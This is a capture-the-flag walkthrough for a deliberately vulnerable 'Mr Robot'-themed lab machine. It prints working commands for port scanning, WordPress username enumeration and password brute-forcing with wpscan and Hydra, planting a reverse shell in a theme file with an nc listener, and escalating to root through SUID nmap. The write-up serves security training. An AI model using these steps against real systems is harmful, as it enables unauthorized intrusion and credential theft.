# Write-up

### <mark style="color:purple;">Objectives</mark>

* Find the three hidden keys.
* Gain initial access to the machine.
* Escalate privileges to root.

***

### <mark style="color:purple;">Reconnaissance</mark>

We start by scanning for open ports with **Nmap**:

```bash
nmap -Pn -sCV -F -T5 <ip_victim>
```

The scan reveals:

* **Port 22** (SSH) - *closed*.
* **Port 80** (HTTP) - *open*.
* **Port 443** (HTTPS) - *open*.

Let's focus on **port 80** first. Browsing to `http://<ip_victim>` brings up what looks like a puzzle or game. Time to start digging.

***

### <mark style="color:purple;">Gaining a Shell</mark>

After some exploration, we check for a `robots.txt` file:

```bash
http://<ip_victim>/robots.txt
```

Inside, we find two interesting entries:

* A file called `fsocity.dic` — a **wordlist**.
* The <mark style="color:purple;">**first key**</mark>!

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXevB-CfS0W7aj6NFr4JOfEbbq5z0cAz816fYLRn_p2XKIaG_3bJIXvjQSqMtPDajk2lHHAldR_CYYr2_TDCoLjsYN0GJuAl54zMQilKcqNoLP4DFHvXt5PivKmt_dVwrVKsXsQeSQ?key=BypX6NmOrwbnC1yyOG3IpFaj" alt=""><figcaption></figcaption></figure>

Given the presence of a wordlist, it hints at potential **password brute-forcing**.\
To find a target for brute-forcing, let's enumerate directories with **Dirbuster** or similar tools.

Quickly, we discover this is a **WordPress** site (`wp-login.php` present).

Now, let's try enumerating WordPress users with **wpscan**:

```bash
wpscan --url http://<ip_victim> --enumerate u
```

Surprisingly, no luck.

> **Observation**: When entering random credentials in the login form, it shows different error messages depending on the username — meaning **valid usernames** can be discovered this way.

By trying names manually (admin, root, mrrobot, fsociety...), entering **Elliot** triggers a *different* error.

<figure><img src="https://657071395-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6TULCIQYFngHxc4snxrs%2Fuploads%2FeXBzFiwX2TGQTTJgbOvy%2Fimage.png?alt=media&#x26;token=f3a245ef-9396-4299-ac84-db4ecb11bd81" alt=""><figcaption></figcaption></figure>

Thus, we refine our brute-force:

```bash
wpscan --url http://<ip_victim>/ --usernames Elliot --passwords fsocity.dic
```

Or using **Hydra**:

```bash
hydra -l Elliot -P fsocity.dic <ip_victim> http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:The password you entered for the username" -t 30 -VV
```

Eventually, we find the password:

* **Elliot : ER\*\*\*\*\*\*\***

Now authenticated, let's log into the WordPress admin panel!

Navigating to **Appearance > Theme Editor**, we find `404.php`.\
Classic move: let's replace it with a **reverse shell** payload from Pentestmonkey, adapting it with our IP and port.

<figure><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcwKjx64JYEOxjof9gtAHMT9sHOFBdOMFPVOrIvztOCkOwNaUeQb5jpxK8y4DgLl2Yb_qOO7YJid2dRyV5vxGNkVIdtxwg0ujfmySqk0Mqqqq6ETJYJzLC78HFekIMXfSQLDM98Yg?key=BypX6NmOrwbnC1yyOG3IpFaj" alt=""><figcaption></figcaption></figure>

Start a listener:

```bash
nc -lvnp 7777
```

Then, trigger the shell by visiting any non-existent page.

Boom — **reverse shell obtained**!

To upgrade the shell:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

***

### <mark style="color:purple;">Privilege Escalation</mark>

Inside the system, searching `/home/robot/`, we find the **second key** — but cannot read it yet.

However, a file `password.raw-md5` is accessible.\
It contains an MD5 hash.

Cracking the hash via [**CrackStation** ](https://crackstation.net/)gives the password.

Switching to user **robot**:

```bash
su robot
```

With this, the <mark style="color:purple;">second key</mark> is retrieved!

Now for root access.

Checking binaries with the SUID bit:

```bash
find / -type f -perm -04000 -ls 2>/dev/null
```

We spot **nmap** with SUID permissions!

Upon checking its version (`nmap --version`), it's **3.81** — vulnerable to execution tricks.

Following **GTFOBins** instructions:

```bash
nmap --interactive
!sh
```

Root shell achieved.

Searching through the filesystem, the <mark style="color:purple;">**third and final key**</mark> is found.

Mission accomplished!

***

### <mark style="color:purple;">Result</mark>

<mark style="color:blue;">First key</mark>: Found via `robots.txt`\ <mark style="color:blue;">Second key</mark>: Found under `/home/robot/` after switching user\ <mark style="color:blue;">Third key</mark>: Found after privilege escalation using vulnerable SUID `nmap`
